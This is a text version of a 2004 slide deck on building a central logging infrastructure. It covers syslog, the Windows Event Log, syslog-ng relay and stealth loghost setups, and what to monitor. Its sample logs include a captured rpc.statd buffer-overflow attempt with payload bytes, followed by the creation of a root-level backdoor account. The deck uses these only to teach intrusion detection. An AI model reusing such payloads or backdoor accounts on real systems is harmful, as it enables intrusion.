1. Copyright 2004 Abe Singer and Tina Bird 1 Building a Logging Infrastructure Abe Singer http://www.loganalysis.org

2. Copyright 2004 Abe Singer and Tina Bird 2 What are we here for? Using system & application logs to improve security and reliability on your networkUsing system & application logs to improve security and reliability on your network Building a logging infrastructure that works, across UNIX & Windows environmentsBuilding a logging infrastructure that works, across UNIX & Windows environments

3. Copyright 2004 Abe Singer and Tina Bird 3 How Do We Get There? Generate Useful Data Collect and Archive Extract Wisdom

4. Copyright 2004 Abe Singer and Tina Bird 4 How do we get there? Picking the most efficient place to startPicking the most efficient place to start Getting the data you need into your logsGetting the data you need into your logs Understanding the UNIX syslog paradigm, and how it generalizes to other systemsUnderstanding the UNIX syslog paradigm, and how it generalizes to other systems Integrating Windows Event Log data into your UNIX log management systemIntegrating Windows Event Log data into your UNIX log management system

5. Copyright 2004 Abe Singer and Tina Bird 5 How do we get there? cont. Managing audit data in a heterogeneous computing environmentManaging audit data in a heterogeneous computing environment Reducing log content to human-readable quantitiesReducing log content to human-readable quantities Interpreting the content of log filesInterpreting the content of log files  Keeping track of what’s going on in your network!

6. Copyright 2004 Abe Singer and Tina Bird 6 Agenda The Log ProblemThe Log Problem Generating Interesting DataGenerating Interesting Data Centralizing your log dataCentralizing your log data Parsing system logsParsing system logs Attack signaturesAttack signatures Common mistakesCommon mistakes

7. Copyright 2004 Abe Singer and Tina Bird 7 The Log Problem

8. Copyright 2004 Abe Singer and Tina Bird 8 The Log Problem “Go look at those logs!” Boatloads of data, most of it superfluous

9. Copyright 2004 Abe Singer and Tina Bird 9 The Log Problem On most OSes and apps, security events form less than 1% of total volume of log dataOn most OSes and apps, security events form less than 1% of total volume of log data “Intelligent” security devices – IDS – help, but don’t eliminate the need for archiving host-based logs“Intelligent” security devices – IDS – help, but don’t eliminate the need for archiving host-based logs Ignoring the problem – or the data – doesn’t make it go awayIgnoring the problem – or the data – doesn’t make it go away

10. Copyright 2004 Abe Singer and Tina Bird 10 The Log Problem cont. Conservative minimum amount of operating system log data, for UNIX/NT servers, on a mid-sized corporate network:Conservative minimum amount of operating system log data, for UNIX/NT servers, on a mid-sized corporate network: Not including Web server access logs, mail logs, IDS data, authentication records, etc.Not including Web server access logs, mail logs, IDS data, authentication records, etc. 3.8 GB per day

11. Copyright 2004 Abe Singer and Tina Bird 11 The Log Problem cont. Successful attacks are often not loggedSuccessful attacks are often not logged Log messages vary in quality, and not designed for machine parsingLog messages vary in quality, and not designed for machine parsing What’s “interesting” is very dependent on your environmentWhat’s “interesting” is very dependent on your environment

12. Copyright 2004 Abe Singer and Tina Bird 12 What does it take? Automated processingAutomated processing Nominal status data – usage patterns, capacity planning, etc – off-line, batch processing okayNominal status data – usage patterns, capacity planning, etc – off-line, batch processing okay Critical event data – security issues, hardware failures – must be handled real-time or close to real-timeCritical event data – security issues, hardware failures – must be handled real-time or close to real-time

13. Copyright 2004 Abe Singer and Tina Bird 13 What does it take? The common item to look for when reviewing log files is anything that appears out of the ordinary. CERT Coordination Center Intrusion Detection Checklist

14. Copyright 2004 Abe Singer and Tina Bird 14 Generating Interesting Data

15. Copyright 2004 Abe Singer and Tina Bird 15 Just starting out? What do you need to know? Start small. Pick one or two apps or types of devices.What do you need to know? Start small. Pick one or two apps or types of devices. What kinds of events indicate security problems, performance issues or administrative changes?What kinds of events indicate security problems, performance issues or administrative changes? Are your favorite events recorded by the default logging configuration on your device?Are your favorite events recorded by the default logging configuration on your device?

16. Copyright 2004 Abe Singer and Tina Bird 16 Always watch for… Hardware failuresHardware failures Resource exhaustionResource exhaustion Reboots/restartsReboots/restarts Patches or changes to system code or firmware or app software (upgrades or downgrades)Patches or changes to system code or firmware or app software (upgrades or downgrades) Failed logins, esp to admin accountsFailed logins, esp to admin accounts

17. Copyright 2004 Abe Singer and Tina Bird 17 Panic Attack Mar 15 23:22:45 enigma unix: panic[cpu2]/thread=2a1001bdd60: Mar 15 23:22:54 enigma unix: dumping to /dev/dsk/c0t2d0s2, offset 1810694144 Mar 15 23:26:08 enigma savecore: reboot after panic: zero

18. Copyright 2004 Abe Singer and Tina Bird 18 Patching Windows

19. Copyright 2004 Abe Singer and Tina Bird 19 UNIX Login Attempts Sep 12 10:17:11 kuspy PAM_pwdb[17529]: authentication failure; (uid=0) -> tbird for ssh service Sep 12 10:17:12 kuspy sshd[17529]: log: Password authentication for tbird accepted.

20. Copyright 2004 Abe Singer and Tina Bird 20 Failed Logon to Win2k Domain EvntSLog:6388: [AUF] Wed Oct 10 10:57:15 2001: OSMOSIS/Security (675) - "Pre- authentication failed: User Name: Administrator User ID: %{S-1-5-21-776561741-2052111302- 1417001333-500} Service Name: krbtgt/LAB Pre- Authentication Type: 0x2 Failure Code: 0x18 Client Address: 127.0.0.1 " EvntSLog:6388: [AUF] Wed Oct 10 10:57:15 2001: OSMOSIS/Security (675) - "Pre- authentication failed: User Name: Administrator User ID: %{S-1-5-21-776561741-2052111302- 1417001333-500} Service Name: krbtgt/LAB Pre- Authentication Type: 0x2 Failure Code: 0x18 Client Address: 127.0.0.1 " EvntSLog:6389: [AUF] Wed Oct 10 10:57:15 2001: OSMOSIS/Security (529) - "Logon Failure: Reason: Unknown user name or bad password User Name: Administrator Domain: LAB Logon Type: 2 Logon Process: User32 Authentication Package: Negotiate Workstation Name: OSMOSIS" EvntSLog:6389: [AUF] Wed Oct 10 10:57:15 2001: OSMOSIS/Security (529) - "Logon Failure: Reason: Unknown user name or bad password User Name: Administrator Domain: LAB Logon Type: 2 Logon Process: User32 Authentication Package: Negotiate Workstation Name: OSMOSIS"

21. Copyright 2004 Abe Singer and Tina Bird 21 UNIX System Boot Jul 8 01:46:52 evileye unix: SunOS Release 5.7 Version Generic_106541-04 [UNIX(R) System V Release 4.0]

22. Copyright 2004 Abe Singer and Tina Bird 22 Windows System Reboot

23. Copyright 2004 Abe Singer and Tina Bird 23 Windows System Reboot cont.

24. Copyright 2004 Abe Singer and Tina Bird 24 Cisco IOS restart *Mar 1 00:00:24.716 UTC: %SYS-5- RESTART: System restarted – Cisco Internetwork Operating System Software IOS (tm) C3500XL Software (C3500XL-C3H2S-M), Version 12.0(5.4)WC(1), MAINTENANCE INTERIM SOFTWARE Copyright (c) 1986-2001 by cisco Systems, Inc. Compiled Tue 10-Jul-01 12:32 by devgoyal

25. Copyright 2004 Abe Singer and Tina Bird 25 Always watch for: Creation of new accounts, esp those that “look like” system accounts, or have admin privilegesCreation of new accounts, esp those that “look like” system accounts, or have admin privileges Signatures of known attacksSignatures of known attacks –those that crash servers –those that don’t crash servers –obviously system specific

26. Copyright 2004 Abe Singer and Tina Bird 26 Where do I start? What systems to start with?What systems to start with? Most vulnerable serversMost vulnerable servers –Web servers (public, intranet, extranet) –publicly-visible mail servers –administrators’ workstations (operating systems, applications, network equipment)

27. Copyright 2004 Abe Singer and Tina Bird 27 Where do I start? cont. Critical network infrastructure systemsCritical network infrastructure systems –Domain Name servers (or WINS, or whatever) –Windows Domain Controllers, NetWare Directory Services –Routers & switches –Backup servers, network attached storage –Internal mail servers

28. Copyright 2004 Abe Singer and Tina Bird 28 Where do I start? cont. Perimeter devicesPerimeter devices –intrusion detection systems (theoretically highest bang-for-buck security info) –firewalls (often the first machines to detect probes and scans; access control points) –remote access servers (account harvesting, brute force attacks)

29. Copyright 2004 Abe Singer and Tina Bird 29 Where do I start? cont. Any systems that store proprietary corporate dataAny systems that store proprietary corporate data –database servers –file servers –code repositories –data warehouses

30. Copyright 2004 Abe Singer and Tina Bird 30 Monitoring Routers User entering enable modeUser entering enable mode Access control list changesAccess control list changes Enable/disable/reconfigure interfacesEnable/disable/reconfigure interfaces Firmware downgraded/upgraded/patchedFirmware downgraded/upgraded/patched Conditions that produce Traceback errorsConditions that produce Traceback errors rsh, rcp connection attemptsrsh, rcp connection attempts

31. Copyright 2004 Abe Singer and Tina Bird 31 Monitoring Firewalls Host OS messages as applicableHost OS messages as applicable Configuration changesConfiguration changes Adds/deletes/changes of admin accountsAdds/deletes/changes of admin accounts Administrative traffic from “unexpected” locations (like the Internet)Administrative traffic from “unexpected” locations (like the Internet) Connection logs (start/stop/amt of data)Connection logs (start/stop/amt of data)

32. Copyright 2004 Abe Singer and Tina Bird 32 Monitoring Database Servers Interactive DB access rather than scheduled jobs or automated processingInteractive DB access rather than scheduled jobs or automated processing Access control changes (DBA granting themselves or other DBAs higher level of access to system)Access control changes (DBA granting themselves or other DBAs higher level of access to system) DB account access over networkDB account access over network Automated reporting of network component versionsAutomated reporting of network component versions

33. Copyright 2004 Abe Singer and Tina Bird 33 Monitoring Database Servers cont. Changes to scripts on DB serversChanges to scripts on DB servers Presence (?) and use of non-interactive DB accountsPresence (?) and use of non-interactive DB accounts

34. Copyright 2004 Abe Singer and Tina Bird 34 File system full set /kernel: pid 801 (mysqld), uid 88 on /var: file system full

35. Copyright 2004 Abe Singer and Tina Bird 35 Monitoring Web Servers Host OS messagesHost OS messages Malicious signatures in access logs (artificial ignorance/content inspection)Malicious signatures in access logs (artificial ignorance/content inspection) New virtual hosts addedNew virtual hosts added New listening ports or virtual IPs addedNew listening ports or virtual IPs added Unusual increase in inbound or outbound traffic (Nimda, anyone?)Unusual increase in inbound or outbound traffic (Nimda, anyone?)

36. Copyright 2004 Abe Singer and Tina Bird 36 Monitoring Web Servers cont. New scriptsNew scripts New modulesNew modules New contentNew content Parent or child processes dying with unexpected errorsParent or child processes dying with unexpected errors Web server action resulting from client request (i.e. how did that URL map to file system?)Web server action resulting from client request (i.e. how did that URL map to file system?)

37. Copyright 2004 Abe Singer and Tina Bird 37 Improving the Quality of Logs

38. Copyright 2004 Abe Singer and Tina Bird 38 Improving the quality of logs Complexity of configuration and invisibility of most attacks (especially the successful ones) make monitoring hardComplexity of configuration and invisibility of most attacks (especially the successful ones) make monitoring hard A good alarm improves the chances that you’ll see evil quickly, without overwhelming you with false positivesA good alarm improves the chances that you’ll see evil quickly, without overwhelming you with false positives

39. Copyright 2004 Abe Singer and Tina Bird 39 Why IDS isn’t Enough Jan 2 16:19:23 yyy.yyy.yyy.yyy snort[1260]: RPC Info Query: 216.216.74.2:963 -> xxx.xxx.xxx.xxx:111 Jan 2 16:19:31 yyy.yyy.yyy.yyy snort[1260]: spp_portscan: portscan status from 216.216.74.2: 2 connections across 1 hosts: TCP(2), UDP(0)

40. Copyright 2004 Abe Singer and Tina Bird 40 Buffer Overflows Jan 02 16:19:45 xxx.xxx.xxx.xxx rpc.statd[351]: gethostbyname error for ^X÷ÿ¿^X÷ÿ¿^Y÷ÿ¿^Y÷ÿ¿^Z÷ÿ¿^Z÷ÿ¿^[÷ÿ¿^[÷ÿ¿bffff75 0 804971090909090687465676274736f6d616e7972652065 20726f7220726f66 bffff718 bffff719 bffff71a bffff71b    ! !  

41. Copyright 2004 Abe Singer and Tina Bird 41 Buffer Overflown? Jan 02 16:20:25 xxx.xxx.xxx.xxx adduser[12152]: new user: name=cgi, uid=0, gid=0, home=/home/cgi, shell=/bin/bash Jan 02 16:22:02 xxx.xxx.xxx.xxx PAM_pwdb[12154]: password for (cgi/0) changed by ((null)/0)

42. Copyright 2004 Abe Singer and Tina Bird 42 Your Network is Talking

43. Copyright 2004 Abe Singer and Tina Bird 43 Improving quality of OS logs What conditions or “state changes” indicate malicious activity, component failure, or significant admin activity?What conditions or “state changes” indicate malicious activity, component failure, or significant admin activity? Do default logging mechanisms detect and record them?Do default logging mechanisms detect and record them? If not, can we make them easier to detect?If not, can we make them easier to detect?

44. Copyright 2004 Abe Singer and Tina Bird 44 Improving quality of OS logs cont. What kinds of events do we want to record? User logins and logouts, at least for administratorsUser logins and logouts, at least for administrators Changes to administrative accountsChanges to administrative accounts –password change on root/admin account –addition of new user with root or admin privileges

45. Copyright 2004 Abe Singer and Tina Bird 45 Improving quality of OS logs cont. Application starts/restarts/shutdownsApplication starts/restarts/shutdowns –configuration changes –security context (does it run as root or some other user?) –network ports in use –system files in use

46. Copyright 2004 Abe Singer and Tina Bird 46 Improving quality of OS logs cont. System boot/reboot/shutdownSystem boot/reboot/shutdown –who did it (if appropriate) –hardware/software/admin changes Resource issuesResource issues Network configuration changesNetwork configuration changes –IP address, MAC address –Access Control Lists

47. Copyright 2004 Abe Singer and Tina Bird 47 Improving quality of OS logs cont. Invalid data input to applicationInvalid data input to application –what sort of invalid: data not present, too much data, improper format –result: did app crash, spawn root shell, recover gracefully Inappropriate privilege transitions in kernelInappropriate privilege transitions in kernel

48. Copyright 2004 Abe Singer and Tina Bird 48 Remember You can’t extract interesting information from your logs if it’s not there in the first placeYou can’t extract interesting information from your logs if it’s not there in the first place

49. Copyright 2004 Abe Singer and Tina Bird 49 Collecting and Archiving

50. Copyright 2004 Abe Singer and Tina Bird 50 Collecting... So now you have all of these systems spewing out tons of wonderfully useful information... Where do you put it?

51. Copyright 2004 Abe Singer and Tina Bird 51 Collecting and Archiving Making sure your logs are going somewhereMaking sure your logs are going somewhere Making sure they’re being received somewhereMaking sure they’re being received somewhere Making sure they don’t disappearMaking sure they don’t disappear

52. Copyright 2004 Abe Singer and Tina Bird 52 Building a Central Logging Infrastructure Create good dataCreate good data –Be sure you can detect the events you want to see Collect good dataCollect good data –Build a loghost, forward device/app logs Extract wisdom from the good dataExtract wisdom from the good data –Real-time monitoring for critical events –Batch processing for trends, planning

53. Copyright 2004 Abe Singer and Tina Bird 53 Centralizing Your Logs Why?Why? –easier to archive –easier to correlate –log preservation if host is attacked Homogeneous or mixed?Homogeneous or mixed? Homogeneous: lucky youHomogeneous: lucky you –Built in mechanisms MixedMixed

54. Copyright 2004 Abe Singer and Tina Bird 54 Centralizing Your Logs cont. Mixed environment: syslog may not be a good choicesyslog may not be a good choice –security –reliability syslog may be the only choicesyslog may be the only choice –most supported logging mechanism So it’s clearly the best choice!So it’s clearly the best choice!

55. Copyright 2004 Abe Singer and Tina Bird 55 syslog & Its Relatives

56. Copyright 2004 Abe Singer and Tina Bird 56 syslogd Consolidated audit mechanism for UNIX kernel and application messagesConsolidated audit mechanism for UNIX kernel and application messages Gives application and OS developers a consistent interface for reporting significant eventsGives application and OS developers a consistent interface for reporting significant events Allows local or remote storage of messagesAllows local or remote storage of messages

57. Copyright 2004 Abe Singer and Tina Bird 57 syslogd cont. /etc/syslog.conf controls how much data is recorded, and what becomes of it/etc/syslog.conf controls how much data is recorded, and what becomes of it syslog.conf format:syslog.conf format: selector action selectors indicate what’s sending the message, and what criticality the message hasselectors indicate what’s sending the message, and what criticality the message has

58. Copyright 2004 Abe Singer and Tina Bird 58 syslogd cont. facility – the application or system component that generates a log messagefacility – the application or system component that generates a log message user – default facility applied if nothing else is specified when message is written kern – messages generated by system processes local0–local7 – facilities available for customized processing

59. Copyright 2004 Abe Singer and Tina Bird 59 syslogd cont. level – the severity of a message on the computer generating it, i.e.level – the severity of a message on the computer generating it, i.e. emerg – system is or will be unusable if situation is not resolved (most severe)emerg – system is or will be unusable if situation is not resolved (most severe) alert – immediate action requiredalert – immediate action required notice –a significant but typically normal event that may merit investigationnotice –a significant but typically normal event that may merit investigation Assigned by the developer who implemented the loggingAssigned by the developer who implemented the logging

60. Copyright 2004 Abe Singer and Tina Bird 60 syslogd cont. action – what’s done with a message once it’s received from a facilityaction – what’s done with a message once it’s received from a facility actions usually represent destinations – message is written to a local file, a syslog daemon on another system, the system console, or a user consoleactions usually represent destinations – message is written to a local file, a syslog daemon on another system, the system console, or a user console

61. Copyright 2004 Abe Singer and Tina Bird 61 syslogd Historical Oddities Many syslogds require as delimiter, not whitespace, & die gory, unpleasant, hard- to-detect deaths if s are not presentMany syslogds require as delimiter, not whitespace, & die gory, unpleasant, hard- to-detect deaths if s are not present Fixed in SDSC-syslog, syslog-ng, sysklogd, some OS implementations (FreeBSD)Fixed in SDSC-syslog, syslog-ng, sysklogd, some OS implementations (FreeBSD)

62. Copyright 2004 Abe Singer and Tina Bird 62 Audit Caveats syslog only records what you’ve told it to recordsyslog only records what you’ve told it to record Vast majority of events on a system are not recorded – events must generate logs to show up in log monitoringVast majority of events on a system are not recorded – events must generate logs to show up in log monitoring Failed attacks often leave tracks; successful attacks are often only recorded indirectlyFailed attacks often leave tracks; successful attacks are often only recorded indirectly

63. Copyright 2004 Abe Singer and Tina Bird 63 Audit Caveats cont. Running automated attack tools (nessus, CyberCop Scanner) against base operating systems – 15% of all probes logged by OS or application mechanisms, but at least record genuine system activityRunning automated attack tools (nessus, CyberCop Scanner) against base operating systems – 15% of all probes logged by OS or application mechanisms, but at least record genuine system activity IDS, other network alarms really help to identify when further examination is warrantedIDS, other network alarms really help to identify when further examination is warranted

64. Copyright 2004 Abe Singer and Tina Bird 64 syslogd Issues No default limitations on data sources (users or processes), so all log data is inherently unreliableNo default limitations on data sources (users or processes), so all log data is inherently unreliable Nothing to prevent forged data from being inserted into data streamNothing to prevent forged data from being inserted into data stream Limited number of actions possible on receipt of a particular messageLimited number of actions possible on receipt of a particular message

65. Copyright 2004 Abe Singer and Tina Bird 65 syslogd Replacements Improved ability to filter and redirect inbound log messagesImproved ability to filter and redirect inbound log messages Integrity checks on locally-stored logfilesIntegrity checks on locally-stored logfiles Store more information about log data and eventsStore more information about log data and events Fix that whole problemFix that whole problem Retain compatibility with classic syslogRetain compatibility with classic syslog

66. Copyright 2004 Abe Singer and Tina Bird 66 syslogd Replacements cont. syslog-ng: most popular replacement; allows forwarding over TCP; remembers forwarding addresses; more granular message filteringsyslog-ng: most popular replacement; allows forwarding over TCP; remembers forwarding addresses; more granular message filtering modular syslog: a syslog replacement that includes data integrity checks, easy database integration, and output redirection using regular expressionsmodular syslog: a syslog replacement that includes data integrity checks, easy database integration, and output redirection using regular expressions

67. Copyright 2004 Abe Singer and Tina Bird 67 syslog the Protocol syslog messages are sent to central loghost via syslog protocol (UDP/514)syslog messages are sent to central loghost via syslog protocol (UDP/514) Relay architecture supported, but eliminates data from message originatorRelay architecture supported, but eliminates data from message originator No validation of message (headers or content)No validation of message (headers or content) Data sent in cleartext: can be sniffed, can be modified in transitData sent in cleartext: can be sniffed, can be modified in transit

68. Copyright 2004 Abe Singer and Tina Bird 68 Secure Protocol Initiatives syslog-reliable:syslog-reliable: –TCP-based for reliable message delivery –Add authentication and encryption to protect audit data syslog-sign:syslog-sign: –authentication of message sender –replay protection –message integrity and delivery checks

69. Copyright 2004 Abe Singer and Tina Bird 69 Real-World Secure Transmission SDSC-syslog implements syslog-sign and syslog-reliableSDSC-syslog implements syslog-sign and syslog-reliable nsyslog – TCP over SSLnsyslog – TCP over SSL Tunnelling over SSH or SSLTunnelling over SSH or SSL Client: netcat -l -u -p syslog | netcat localhost 9999 loghost: netcat -l -p 9999 | netcat localhost -u syslog Serial cablesSerial cables

70. Copyright 2004 Abe Singer and Tina Bird 70 syslog Output Message format is invented by developer who’s creating logging capabilityMessage format is invented by developer who’s creating logging capability No standard message formats, but usually something likeNo standard message formats, but usually something like date time host/IP service date time host/IP servicemessage

71. Copyright 2004 Abe Singer and Tina Bird 71 Recording facility & level Most UNIX syslogs don’t include facility & level in messages, so hard to determine appropriate filters without pattern matchingMost UNIX syslogs don’t include facility & level in messages, so hard to determine appropriate filters without pattern matching If you configure syslog.conf to send all emerg messages to logged in users, how do you know you’ll get what you expect?If you configure syslog.conf to send all emerg messages to logged in users, how do you know you’ll get what you expect?

72. Copyright 2004 Abe Singer and Tina Bird 72 Recording facility & level cont. Solaris 7 and later enables message tagging, controlled in /kernel/drv/log.confSolaris 7 and later enables message tagging, controlled in /kernel/drv/log.conf

73. Copyright 2004 Abe Singer and Tina Bird 73 Recording facility & level cont. Enabling message tagging adds fields to syslog messagesEnabling message tagging adds fields to syslog messages [ID msgid facility.priority] msgid = hash of message textmsgid = hash of message text Also lists specific kernel module for facility, rather than kernAlso lists specific kernel module for facility, rather than kern

74. Copyright 2004 Abe Singer and Tina Bird 74 Recording facility & level cont. Without tagging:Without tagging: Oct 1 14:07:24 mars unix: alloc: /: file system full With tagging:With tagging: Oct 1 14:07:24 mars ufs: [ID 845546 kern.notice] alloc: /: file system full

75. Copyright 2004 Abe Singer and Tina Bird 75 Recording facility & level cont. Using syslog-ng:Using syslog-ng: destination my_file { file("/var/log/messages" template("$DATE $FACILITY.$LEVEL $FULLHOST $MESSAGE\n")); };

76. Copyright 2004 Abe Singer and Tina Bird 76 Recording facility & level cont. Without tagging:Without tagging: Aug 30 01:20:56 bettiepage/bettiepage postfix/smtpd[22956]: disconnect from 2100 06255078.ctinets.com[210.6.255.78] With tagging:With tagging: Oct 27 11:41:22 mail.info bettiepage/bettiepage postfix/smtpd[18020]: connect from smtp8.Stanford.EDU[171.67.16.35]

77. Copyright 2004 Abe Singer and Tina Bird 77 syslog Output cont. UNIX applications that use syslog: amd date ftpd gated inetd sendmail login rlogin named ntpd passwd sudo tcpd vixie-cron lpd nnrpd

78. Copyright 2004 Abe Singer and Tina Bird 78 logger UNIX command line utility writes arbitrary messages to syslogUNIX command line utility writes arbitrary messages to syslog hathor:/var/log# logger "this space intentionally left blank" hathor:/var/log# Oct 27 13:05:41 local@hathor tbird65: [ID 702911 user.notice] this space intentionally left blank

79. Copyright 2004 Abe Singer and Tina Bird 79 Windows Event Log Windows analog of syslogWindows analog of syslog No integrated capability for remote loggingNo integrated capability for remote logging Binary file – no grep !Binary file – no grep ! System default – auditing is disabledSystem default – auditing is disabled

80. Copyright 2004 Abe Singer and Tina Bird 80 Windows Event Log cont. System Log: Startup and shutdown messages, system component data, critical servicesSystem Log: Startup and shutdown messages, system component data, critical services Security Log: Windows auditing system data only, including user & host auth, share access, printing, otherSecurity Log: Windows auditing system data only, including user & host auth, share access, printing, other Application Log: Nearly everything elseApplication Log: Nearly everything else

81. Copyright 2004 Abe Singer and Tina Bird 81 Windows Event Log cont. Any process can write to Application and System Event Logs – “should” register message libraryAny process can write to Application and System Event Logs – “should” register message library Only LSA and Event Log Service itself can write to Security Event LogOnly LSA and Event Log Service itself can write to Security Event Log Security log is more reliable forensic information than off the shelf syslogSecurity log is more reliable forensic information than off the shelf syslog

82. Copyright 2004 Abe Singer and Tina Bird 82 Windows Application Log Application Log messages parsed via message dictionaryApplication Log messages parsed via message dictionary Should be provided by application developerShould be provided by application developer Frequently isn’tFrequently isn’t

83. Copyright 2004 Abe Singer and Tina Bird 83 Windows Application Log cont.

84. Copyright 2004 Abe Singer and Tina Bird 84 Windows Event Log cont.

85. Copyright 2004 Abe Singer and Tina Bird 85 Windows Event Log cont.

86. Copyright 2004 Abe Singer and Tina Bird 86 Windows Event Log cont.

87. Copyright 2004 Abe Singer and Tina Bird 87 Windows Event Log cont. logger equivalent for Windows: Win2000 Resource Kit tool logeventlogger equivalent for Windows: Win2000 Resource Kit tool logevent Writes an Event ID set by an administrator to the Application LogWrites an Event ID set by an administrator to the Application Log Message severity is always InformationalMessage severity is always Informational Adiscon’s MonitorWare agent will forward data added to a Windows text based log to a syslog serverAdiscon’s MonitorWare agent will forward data added to a Windows text based log to a syslog server

88. Copyright 2004 Abe Singer and Tina Bird 88 Windows Event Log cont. Another logger equivalent for Windows: Kiwi’s Syslog Message GeneratorAnother logger equivalent for Windows: Kiwi’s Syslog Message Generator Sends manually-generated syslog messages from a Windows command line or GUI to a syslog serverSends manually-generated syslog messages from a Windows command line or GUI to a syslog server Does not read data from Event Log, but useful for testingDoes not read data from Event Log, but useful for testing

89. Copyright 2004 Abe Singer and Tina Bird 89 WinNT Audit Configuration

90. Copyright 2004 Abe Singer and Tina Bird 90 NT vs. 2000 Audit Categories WinNT Win2k User/Group Mgmt.Audit Account Management Logon and LogoffAudit logon events File and Object AccessAudit object access Security Policy ChangesAudit policy changes Use of User RightsAudit privilege useAudit process tracking Restart, Shutdown,Audit system events System + Audit account logon events + Audit directory service access

91. Copyright 2004 Abe Singer and Tina Bird 91 Win2k Event Log Details Local policy settings applied first, then domain policy settings, then active directory settingsLocal policy settings applied first, then domain policy settings, then active directory settings May make local audit setting different from effective audit settingMay make local audit setting different from effective audit setting

92. Copyright 2004 Abe Singer and Tina Bird 92 Win2k Audit Configuration

93. Copyright 2004 Abe Singer and Tina Bird 93 syslog & Relatives Summary UNIX: syslogd & syslog protocolUNIX: syslogd & syslog protocol –uncontrolled, unverified datastream –most widely implemented logging structure Windows: Event LogWindows: Event Log –reliable security information –proprietary format Both require OS configuration, possibly application configuration & tuningBoth require OS configuration, possibly application configuration & tuning

94. Copyright 2004 Abe Singer and Tina Bird 94 Building a Central Logging Infrastructure

95. Copyright 2004 Abe Singer and Tina Bird 95 Security Surveillance Perimeter devices detect port scans & vulnerability probesPerimeter devices detect port scans & vulnerability probes  FW, router Improve network attack detectionImprove network attack detection  NIDS Improve host-based attack detectionImprove host-based attack detection  HIDS

96. Copyright 2004 Abe Singer and Tina Bird 96 Open Source Surveillance Tools Monitoring system calls – systrace, St. JudeMonitoring system calls – systrace, St. Jude FW – ipfilter, TCP WrappersFW – ipfilter, TCP Wrappers NIDS – SnortNIDS – Snort HIDS – logdaemonHIDS – logdaemon File system integrity checkers – tripwire, SamhainFile system integrity checkers – tripwire, Samhain

97. Copyright 2004 Abe Singer and Tina Bird 97 portsentry Log Nov 19 00:12:53 hosty portsentry[17645]: [ID 702911 daemon.notice] attackalert: Connect from host: ns1.colo.f1host.com.br/ 207.153.110.234 to TCP port: 80 207.153.110.234 to TCP port: 80

98. Copyright 2004 Abe Singer and Tina Bird 98 Centralized Logging Building a loghostBuilding a loghost Popular architecturesPopular architectures Have a good timeHave a good time Getting data to the loghostGetting data to the loghost –Configuring clients (OS & application) –Transport mechanisms ArchivingArchiving

99. Copyright 2004 Abe Singer and Tina Bird 99 Loghost Decisions Which operating system?Which operating system? –Most experience = easiest to harden vs. –Genetic diversity Assuming syslog, which syslog?Assuming syslog, which syslog? Assuming syslog-the-protocol, out of the box, or (crypto, authentication) enhanced security?Assuming syslog-the-protocol, out of the box, or (crypto, authentication) enhanced security?

100. Copyright 2004 Abe Singer and Tina Bird 100 Loghost Bastion system running limited services: archives and processes audit dataBastion system running limited services: archives and processes audit data SSH or other secure protocol for administrative accessSSH or other secure protocol for administrative access For real paranoids: hide syslog configuration fileFor real paranoids: hide syslog configuration file Or use a syslog replacementOr use a syslog replacement

101. Copyright 2004 Abe Singer and Tina Bird 101 Loghost cont. Separate file systems for log data vs. kernel vs. applicationsSeparate file systems for log data vs. kernel vs. applications Monitor disk space utilization carefullyMonitor disk space utilization carefully Store data on write-once media (like CD- ROM drives) if feasible to protect against tamperingStore data on write-once media (like CD- ROM drives) if feasible to protect against tampering Document sys admin processes to manage log dataDocument sys admin processes to manage log data

102. Copyright 2004 Abe Singer and Tina Bird 102 Loghost cont. syslog configuration on loghost: are new log messages dumped into common message file, or into specific files based on facility, or files/destinations based on severity?syslog configuration on loghost: are new log messages dumped into common message file, or into specific files based on facility, or files/destinations based on severity? Might want mail, Web (client & server), FW network connection logs handled separatelyMight want mail, Web (client & server), FW network connection logs handled separately

103. Copyright 2004 Abe Singer and Tina Bird 103 Popular Architectures Relay architecture – remote systems report to loghosts in branch; branch loghosts forward to central location for processing & archivingRelay architecture – remote systems report to loghosts in branch; branch loghosts forward to central location for processing & archiving Stealth logging for DMZ networks – monitoring Web, email serversStealth logging for DMZ networks – monitoring Web, email servers Logging over SSH for confidential data collection within private networkLogging over SSH for confidential data collection within private network

104. Copyright 2004 Abe Singer and Tina Bird 104 Relay Architecture

105. Copyright 2004 Abe Singer and Tina Bird 105 Relay Architecture cont. Branch office loghosts: receive data from branch office servers, localhost; forward to central loghostBranch office loghosts: receive data from branch office servers, localhost; forward to central loghost Central loghost: receive data from branch office loghosts; write to archive; process dataCentral loghost: receive data from branch office loghosts; write to archive; process data syslog-ng to preserve source infosyslog-ng to preserve source info

106. Copyright 2004 Abe Singer and Tina Bird 106 Branch office loghost source branch1-loghost { unix-dgram(“/var/run/log”); internal (); udp (); udp ();}:

107. Copyright 2004 Abe Singer and Tina Bird 107 Branch office loghost cont. destination localhost { file(“/var/log/messages”);}: destination central-loghost { tcp(“192.168.1.200” port (514)); }:

108. Copyright 2004 Abe Singer and Tina Bird 108 Branch office loghost cont. options {chain_hostnames(yes) };

109. Copyright 2004 Abe Singer and Tina Bird 109 Branch office loghost cont. log { source(branch1-loghost); destination(localhost); source(branch1-loghost);destination(central-loghost);};

110. Copyright 2004 Abe Singer and Tina Bird 110 Central office loghost source central-loghost { unix- dgram(“/var/run/log”); internal(); tcp(ip(192.168.1.200) port(514) max-connections(5)); };

111. Copyright 2004 Abe Singer and Tina Bird 111 Central office loghost conf. destination localhost { file(/var/log/messages-all”);}; log { source(central-loghost); destination(localhost): };

112. Copyright 2004 Abe Singer and Tina Bird 112 Stealth loghost To collect data in places where you need to minimize chance of network-based DoS, or compromise of log serverTo collect data in places where you need to minimize chance of network-based DoS, or compromise of log server Configure hosts and applications to log to a non-existent but valid IP address on DMZConfigure hosts and applications to log to a non-existent but valid IP address on DMZ

113. Copyright 2004 Abe Singer and Tina Bird 113 Stealth loghost cont.

114. Copyright 2004 Abe Singer and Tina Bird 114 Stealth loghost cont. Configure Web servers with bogus arp entry for phantom logserver:Configure Web servers with bogus arp entry for phantom logserver: Loghost DMZ interface – no IP address, in promiscuous mode, connected to hub or span port on switchLoghost DMZ interface – no IP address, in promiscuous mode, connected to hub or span port on switch arp –s 10.1.1.20 00:0a:0a:00:bb:77

115. Copyright 2004 Abe Singer and Tina Bird 115 Stealth loghost cont. tcpdump puts interface into promiscuous mode unless told otherwise.tcpdump puts interface into promiscuous mode unless told otherwise. Assume loghost’s stealth interface is exp0Assume loghost’s stealth interface is exp0 tcpdump –i exp0 –s 1024 –w dmz.logs.date dst port 514

